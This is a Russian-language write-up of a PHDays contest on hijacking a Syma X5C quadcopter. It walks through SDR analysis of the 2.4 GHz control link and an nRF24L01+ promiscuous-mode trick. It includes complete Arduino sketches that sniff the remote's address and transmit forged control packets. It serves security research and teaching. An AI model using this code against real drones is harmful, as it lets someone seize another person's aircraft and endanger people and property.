В этом году на PHDays был представлен новый конкурс, где любой желающий мог перехватить управление квадрокоптером Syma X5C. Производители часто полагают, что если они используют не IP-технологии, а какой-нибудь другой беспроводной стандарт, то можно не думать о защищенности. Как будто хакеры махнут рукой, решив, что разбираться с чем-то, кроме IP, — это слишком долго, сложно и дорого.
Но на самом деле, как мы уже много раз упоминали, SDR (software-defined radio) — отличный инструмент для доступа в мир IoT, где уровень вхождения определяется уровнем добросовестности производителя IoT-решений. Однако даже не имея SDR можно творить чудеса, пусть и в ограниченном пространстве частот и протоколов.
Цель — перехватить управление дроном.
Входные данные:
- диапазон управления дроном: 2,4 ГГц ISM,
- управление осуществляется модулем nRF24L01+ (на самом деле — его клоном BK2423).
Средства (выдавались желающим): Arduino Nano, nRF24L01+.
Результат — угонщик получил Syma X8C в подарок.
Так как среди желающих угнать наш дрон оказались уже подготовленные люди, имеющие в арсенале HackRF, BladeRF и другие серьезные игрушки, мы опишем два метода — SDR и непосредственно nRF24L01+.
Путь самурая — SDR
Первым делом необходимо найти каналы, на которых работает данный пульт. Но перед этим стоит пробежаться по даташиту, чтобы понять, что вообще искать. Первое, что нам необходимо, это организация частот.
![](https://habrastorage.org/files/335/931/01a/33593101a0a84649b6ef047eba086f1e.png)
Теперь мы знаем, что всего имеется 126 каналов с шагом в 1 МГц. Еще полезно было бы узнать ширину канала и битрейт, на будущее.
![](https://habrastorage.org/files/ddc/722/b48/ddc722b48dd34a11ab59f28bebc3eb36.png)
Вообще можно все сделать и без этих знаний, ведь далеко не всегда известно, из чего состоит передатчик. Итак, запускаем сканер спектра. Мы используем UmTRX и максимально возможный для него bandwidth — 13 МГц.
![](https://habrastorage.org/files/e18/006/df5/e18006df56804492885563ac8ca33fb2.png)
![](https://habrastorage.org/files/8e5/b5c/19f/8e5b5c19f8c14d4eae725148987fc87b.png)
![](https://habrastorage.org/files/506/938/68c/50693868c89c441ea6733cf7455dbdff.png)
Мы не стали приводить скриншоты всего спектра, но как найти подобные данные в радиоэфире — должно быть понятно. Можем увидеть, что с определенной периодичностью данные появляются на 25, 41, 57 и 73 каналах.
Несмотря на то, что даташит однозначно указывает модуляцию, в жизни у нас не всегда есть даташит к перехватываемому девайсу. Поэтому собираем простейшую схему в GNU Radio и записываем любой из найденных каналов.
![](https://habrastorage.org/files/744/534/cf2/744534cf2162460c9ec772ce737dae75.png)
Похоже, что bandwidth <= 800 КГц; согласно даташиту, это значит, что битрейт — 250 Кбит/с.
Теперь мы хотим посмотреть на записанные данные; запускаем baudline, в котором открываем записанный файл с правильными параметрами, — и видим нечто подобное:
![](https://habrastorage.org/files/e8a/3b7/228/e8a3b7228aa648d289ca084315790b9d.png)
Выбираем один из подсвеченных пиков и открываем окно waveform.
![](https://habrastorage.org/files/7de/5fa/9ae/7de5fa9aef1e42779ef5c82a5f4fc9dd.png)
Вверху видим записанный сигнал; похоже, мы все сделали правильно, по переходам фазы становится очевидно, что это FSK/GFSK-модуляция.
Далее нам необходимо поставить демодулятор и немного отфильтровать лишнее.
![](https://habrastorage.org/files/a30/49e/3dc/a3049e3dcca24252b15582d6ab46b4c5.png)
Открываем результат, картина выглядит иначе, теперь находим темную полосу и открываем waveform.
![](https://habrastorage.org/files/dec/852/7aa/dec8527aa84e47ec81d9f4db8b02b84b.png)
Фактически дело сделано, высокий уровень — единица, низкий — ноль. А по таймлайну можно определить период импульса и посчитать битрейт.
В самом начале передатчик настраивается на частоту передачи и передает только несущую, затем идет преамбула, состоящая из последовательности 0 и 1, в разных чипах она может отличаться как длиной, так и содержанием, в nRF24L01+ она составляет 1 байт 0xAA или 0x55, в зависимости от старшего бита адреса, в нашем случае преамбула 0xAA. Затем идут байты адреса, в nRF24L01+ адрес может составлять от 3 до 5 байт (забегая вперед: это не совсем так).
![](https://habrastorage.org/files/0b6/08b/602/0b608b60295746119a203de18536eaf0.png)
Теперь мы знаем адрес (0xa20009890f). Для дальнейшего анализа необходимо сделать небольшую автоматизацию, например так:
![](https://habrastorage.org/files/4a3/ee0/b12/4a3ee0b127c64537a53f4a1f6173dfc5.png)
На выходе получится файл, состоящий из последовательности 0 и 1:
$ hexdump -C test3.raw
Один из наших пакетов можно найти по смещению 0x5e25:
![](https://habrastorage.org/files/f6f/897/79d/f6f89779d0e8409288763ef17a09734a.png)
Что с этим делать дальше — каждый решит для себя сам, но необходимо подобрать длину пакета и тип используемой CRC. Мы написали утилиту, которая анализирует файл и пытается найти преамбулу, после которой пытается подсчитать CRC для разных вариантов длины payload и адреса двумя разными способами (см. даташит). У нас получилось так:
![](https://habrastorage.org/files/b25/ac4/54f/b25ac454fead45db93a6c885aeb945d9.png)
Однако позже пришло понимание, что Python годится только для анализа в офлайне, а «переваривать» данные в реальном времени с битрейтом даже 250 Кбит/с весьма проблематично, не говоря уже о более высоких скоростях. Так родилась вторая версия на C, которая работает в режиме реального времени.
![](https://habrastorage.org/files/594/94a/a3f/59494aa3fdab4b93ab3af68bea20f8c1.png)
Итак, имея payload, остается разобраться уже в самом протоколе Syma.
Путь нищеброда — Arduino и nRF24L01+
![](https://habrastorage.org/files/46c/a18/c40/46ca18c40563430f845468baad7e7f59.png)
Этот способ, в отличие от описанного выше, не требует практически никаких знаний в области радио, и стоит крайне дешево (Arduino — 2 $, nRF24L01+ — 1 $ и примерно столько же на провода mini-USB и DuPont), однако требует некоторой смекалки и навыков гугления. Именно его участникам конкурса мы и предлагали повторить.
Основная проблема в том, что nrf24l01+ не имеет promiscuous режима. Однако сам модуль имеет несколько странных особенностей, первая — в даташите есть интересная вещь:
![](https://habrastorage.org/files/805/d29/527/805d295271c2430d8da45f719b05c45f.png)
Если выставить этот регистр в «00», то адрес будет 2 байта. Далее есть еще одна интересная особенность: обычно преамбула передается и используется для того, чтобы приемник мог подстроиться под передатчик, именно для этого чаще всего в качестве преамбулы передается последовательность нулей и единиц. Вторая особенность модуля nRF24L01+: он не ищет преамбулу и никак ее не использует, он ищет адрес, который записан в качестве принимаемого. Если посмотреть на передаваемый сигнал на скриншотах выше, можно также заметить, что перед началом передачи преамбулы передатчик вещает несущую; опытным путем было выявлено, что чаще всего nRF24L01+ воспринимает ее как 0x00 (иногда как 0xFF, реже как случайный байт). Таким образом, используя эти недокументированные особенности мы можем перевести nRF24L01+ в promiscuous mode — установив длину адреса в 2 байта, а сам адрес как 0x00AA или 0x0055. В одном из вариантов мы будем получать данные, сдвинутые на 1 бит. Кроме того, можно принимать данные без проверки CRC.
Теперь у нас есть все необходимые теоретические знания. Используем библиотеку RF24 (github.com/TMRh20/RF24), хотя в ней есть недостаток: в файле RF24.cpp в функции
void RF24::setAddressWidth(uint8_t a_width){
if(a_width -= 2){
write_register(SETUP_AW,a_width%4);
addr_width = (a_width%4) + 2;
}
}
следует удалить проверку валидности:
void RF24::setAddressWidth(uint8_t a_width){
a_width -= 2;
write_register(SETUP_AW,a_width%4);
addr_width = (a_width%4) + 2;
}
Теперь пишем небольшой скетч для Arduino (данный пример для Mega, но будет работать на любой другой, нужно просто поменять CE_PIN, CSN_PIN на свои):
#include <SPI.h>
#include <nRF24L01.h>
#include <RF24.h>
#include <printf.h>
#define CE_PIN 53 /// Change it for your board
#define CSN_PIN 48 /// Change it for your board
RF24 radio(CE_PIN, CSN_PIN);
const char tohex[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
uint64_t pipe = 0x00AA;
byte buff[32];
byte chan=0;
byte len = 32;
byte addr_len = 2;
void set_nrf(){
radio.setDataRate(RF24_250KBPS);
radio.setCRCLength(RF24_CRC_DISABLED);
radio.setAddressWidth(addr_len);
radio.setPayloadSize(len);
radio.setChannel(chan);
radio.openReadingPipe(1, pipe);
radio.startListening();
}
void setup() {
Serial.begin(2000000);
printf_begin();
radio.begin();
set_nrf();
}
long t1 = 0;
long t2 = 0;
long tr = 0;
void loop() {
byte in;
if (Serial.available() >0) {
in = Serial.read();
if (in == 'w') {
chan+=1;
radio.setChannel(chan);
Serial.print("\nSet chan: ");
Serial.print(chan);
}
if (in == 's') {
chan-=1;
radio.setChannel(chan);
Serial.print("\nSet chan: ");
Serial.print(chan);
}
if (in == 'q') {
Serial.print("\n");
radio.printDetails();
}
}
while (radio.available()) {
t2 = t1;
t1 = micros();
tr+=1;
radio.read(&buff, sizeof(buff) );
Serial.print("\n");
Serial.print(tr);
Serial.print("\tms: ");
Serial.print(millis());
Serial.print("\tCh: ");
Serial.print(chan);
Serial.print("\tGet data: ");
for (byte i=0; i<len;i++ ){
Serial.print(tohex[(byte)buff[i]>>4]);
Serial.print(tohex[(byte)buff[i]&0x0f]);
}
}
}
Теперь можно на серийном порте забирать готовые данные с установленного канала, смена канала осуществляется посылкой «w» и «s» в порт. Дальнейшую обработку можно производить любым удобным способом: глазами, руками, скриптами. Следует обратить внимание, что скорость порта нестандартная — 2 Мбит/c, это необходимо для того, чтобы Arduino меньше времени занималась I/O, а больше занималась делом (не забываем, что там всего лишь 16 МГц).
![](https://habrastorage.org/files/45f/8a7/ec4/45f8a7ec4cb14fbf817fc077c6172488.png)
После нахождения канала и поимки адреса следует установить этот адрес в качестве приемного, чтобы отфильтровать данные из космоса:
uint64_t pipe = 0xa20009890fLL;
byte addr_len = 5;
![](https://habrastorage.org/files/244/b32/a4f/244b32a4f3aa4891b31d9122e63935c4.png)
Затем следует пробежаться по всем каналам и найти все, на которых проскакивает данный адрес. Немного наблюдаем за происходящим и замечаем, что 10, 11 и 12 байт меняются в зависимости от данных, а за ними идет последовательность случайных байтов — шум. Пробуем включить CRC16 (два последних байта) и сменить длину пакета до 10 байт:
byte len = 10;
radio.setCRCLength(RF24_CRC_16);
![](https://habrastorage.org/files/c44/cf8/0d3/c44cf80d37f4459fa529f6c56013f03f.png)
Бинго! Мы смогли подобрать все необходимые настройки nRF24L01+, которые используются данным пультом, дальше дело за разбором протокола самой Syma.
Протокол Syma
Разобрать его совсем не сложно, записав немного активности с пульта.
- Первый байт — значение throttle (стик газа)
- Второй байт — значение elevator (тангаж — наклон вперед-назад), где старший бит — направление (вперед или назад), а остальные 7 — значение.
- Третий байт — значение rudder (рысканье — поворот вокруг оси влево-вправо), где старший бит — направление (влево или вправо), а остальные 7 — значение.
- Четвертый байт — значение aileron (крен — наклон влево-вправо), где старший бит — направление, а остальные 7 — значение.
- Десятый байт это CRC, которая рассчитывается как XOR от первых 9 байт + 0x55, понять это — пожалуй, самое сложное.
Остальные байты можно оставить такими же, как и перехваченные, там передаются значения регулировок нулевого положения (тримы), и несколько флагов, относящихся к работе камеры.
Осталось сформировать какой-либо валидный пакет, например заставим дрона крутиться вокруг своей оси против часовой стрелки: 92007f000040002400de
Ниже приведен скетч нашего перехватчика с PHDays, который выглядел вот так:
![](https://habrastorage.org/files/cab/bcf/f79/cabbcff79e764be5977d6d6aea3b34d3.png)
#include <SPI.h>
#include <nRF24L01.h>
#include <RF24.h>
#include <stdio.h>
#define CE_PIN 48
#define CSN_PIN 53
//// syma
uint8_t chan[4] = {25,41,57,73};
const char tohex[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
uint64_t pipe = 0xa20009890fLL;
RF24 radio(CE_PIN, CSN_PIN);
int8_t packet[10];
int joy_raw[7];
byte ch=0;
//// controls
uint8_t throttle = 0;
int8_t rudder = 0;
int8_t elevator = 0;
int8_t aileron = 0;
//// syma checksum
uint8_t checksum(){
uint8_t sum = packet[0];
for (int i=1; i < 9; i++) sum ^= packet[i];
return (sum + 0x55);
}
//// initial
void setup() {
//set nrf
radio.begin();
radio.setDataRate(RF24_250KBPS);
radio.setCRCLength(RF24_CRC_16);
radio.setPALevel(RF24_PA_MAX);
radio.setAutoAck(false);
radio.setRetries(0,0);
radio.setAddressWidth(5);
radio.openWritingPipe(pipe);
radio.setPayloadSize(10);
radio.setChannel(25);
//set joystick
pinMode(A0, INPUT);
pinMode(A1, INPUT);
pinMode(A2, INPUT);
pinMode(A3, INPUT);
pinMode(A4, INPUT);
pinMode(A5, INPUT);
pinMode(A6, INPUT);
digitalWrite(A3, HIGH);
digitalWrite(A4, HIGH);
digitalWrite(A5, HIGH);
digitalWrite(A6, HIGH);
//init default data
packet[0] = 0x00;
packet[1] = 0x00;
packet[2] = 0x00;
packet[3] = 0x00;
packet[4] = 0x00;
packet[5] = 0x40;
packet[6] = 0x00;
packet[7] = 0x21;
packet[8] = 0x00;
packet[9] = checksum();
}
void read_logitech() {
joy_raw[0] = analogRead(A0);
joy_raw[1] = analogRead(A1);
joy_raw[2] = analogRead(A2);
joy_raw[3] = !digitalRead(A3);
joy_raw[4] = !digitalRead(A4);
joy_raw[5] = !digitalRead(A6);
joy_raw[6] = !digitalRead(A5);
//little calibration
joy_raw[0] = map(joy_raw[0],150, 840, 255, 0)+10;
joy_raw[0] = constrain(joy_raw[0], 0, 254);
joy_raw[1] = map(joy_raw[1],140, 830, 0, 255);
joy_raw[1] = constrain(joy_raw[1], 0, 254);
joy_raw[2] = map(joy_raw[2],130, 720, 255, 0);
joy_raw[2] = constrain(joy_raw[2], 0, 254);
}
//// main loop
void loop() {
read_logitech();
throttle = joy_raw[2];
rudder = 64*joy_raw[4] - 64*joy_raw[5];
elevator = joy_raw[1]-127;
aileron = joy_raw[0]-127;
radio.openWritingPipe(pipe);
ch +=1;
if (ch>3) ch = 0;
radio.setChannel(chan[ch]);
packet[0] = throttle;
if (elevator < 0) packet[1] = abs(elevator) | 0x80; else packet[1] = elevator;
if (rudder < 0) packet[2] = abs(rudder) | 0x80; else packet[2] = rudder;
if (aileron < 0) packet[3] = abs(aileron) | 0x80; else packet[3] = aileron;
packet[4] = 0x00;
packet[5] = 0x40;
packet[6] = 0x00;
packet[7] = 0x21;
packet[8] = 0x00;
packet[9] = checksum();
radio.write( packet, sizeof(packet) );
}
Если нет желания разбираться с Arduino, можно собрать на этой же библиотеке программу-перехватчик на Raspberry Pi.
![](https://habrastorage.org/files/632/3db/6d6/6323db6d6e5e4352b848b5e78fd22b66.png)
Готовые файлы для Raspberry — github.com/chopengauer/nrf_analyze.
Участники и победители
За два дня конференции в конкурсе приняли участие полтора десятка человек. Заинтересовавшихся было гораздо больше, но многие, узнав, что ломать нужно не Wi-Fi, разочарованно уходили. Многие боятся браться за что-то новое и непонятное, на этом и держится защищенность современного интернета вещей.
Среди участников были те, кто уже строил свои беспроводные сети на nRF24L01+, и те, кто их видел в первый раз.
Уже в середине первого дня один из участников произвел первые попытки воздействия на дрон методом записи сигнала пульта с последующим его воспроизведением, используя SDR (replay-атака). Однако дрон от этого лишь слегка дергался как от помехи. Эта атака бесполезна по причине того, что дрон использует 4 канала с разницей между верхним и нижним в 48 МГц, и воздействия по одному каналу недостаточно для угона.
Уже к вечеру первого дня один из участников обладал всеми необходимыми знаниями об особенностях модуля (двухбайтный адрес 0x00aa) и пытался отсканировать адрес нашего пульта, но проблема была в том, что ему попался даташит от устаревшей версии чипа nRF24L01 (без +), который не поддерживает используемый нашим дроном битрейт 250 Кбит/с. А еще он отказался использовать готовые библиотеки для работы с модулем и работал напрямую с его регистрами. Только хардкор! Ломаем ноги только об свои велосипеды ;)
Победителем конкурса стал Глеб Чербов, которому удалось полностью перехватить управление дроном к 16 часам второго дня. Остальным участникам не удалось перехватить адрес устройства.
Авторы конкурса: Павел Новиков и Артур Гарипов, Positive Technologies